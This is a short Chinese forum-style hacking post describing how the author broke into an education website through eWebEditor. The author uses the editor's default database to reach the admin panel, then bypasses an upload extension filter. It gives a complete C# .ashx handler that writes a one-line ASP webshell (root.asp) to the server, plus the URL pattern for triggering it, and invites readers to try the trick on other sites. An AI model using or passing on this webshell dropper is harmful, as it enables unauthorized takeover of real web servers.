转载请注明以上
前两天帮朋友搞个edu,,运气不错下了eweb默认数据库进了后台,可以添加上传样式
上传的格式asa ,cer,cdx 等都可以添加但是传文件的时候就卡主不动了,当时想应该装什么
鸟web防火墙了(后来拿下服务器确实过滤了asa,cer,cdx,htr,aspx,php,jsp 等脚本)。
突破的办法是什么呢,今天论坛看见icysun ,发帖问 过滤常见脚本怎么突破。先来上图


常见的脚本都过滤了 除PHP ,JSP倒是没有过滤,可惜不支持PHP JSP解析。
这里我们还可以添加一个ashx 脚本类型。用ashx来写一个asp的一句话到当前目录。
代码如下。
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
保存为 ashx ,现在来添加一个 ashx 上传类型看看.

上传成功,直接访问
http://www..xxxxx.com/ admin/eWebEditor/UploadFile/201082143554545.ashx 就会在当前目录生成一个
root.asp的一句话木马。


看上传文件里,root.asp 已经躺在那边了,用lake2的 一句话连接,看见亲切的hello word ! 搞定手工了。
有时候 网站过滤了常见的脚本类型却把 ashx给漏了,大家可以试试 ,菜鸟文章大牛见笑了。。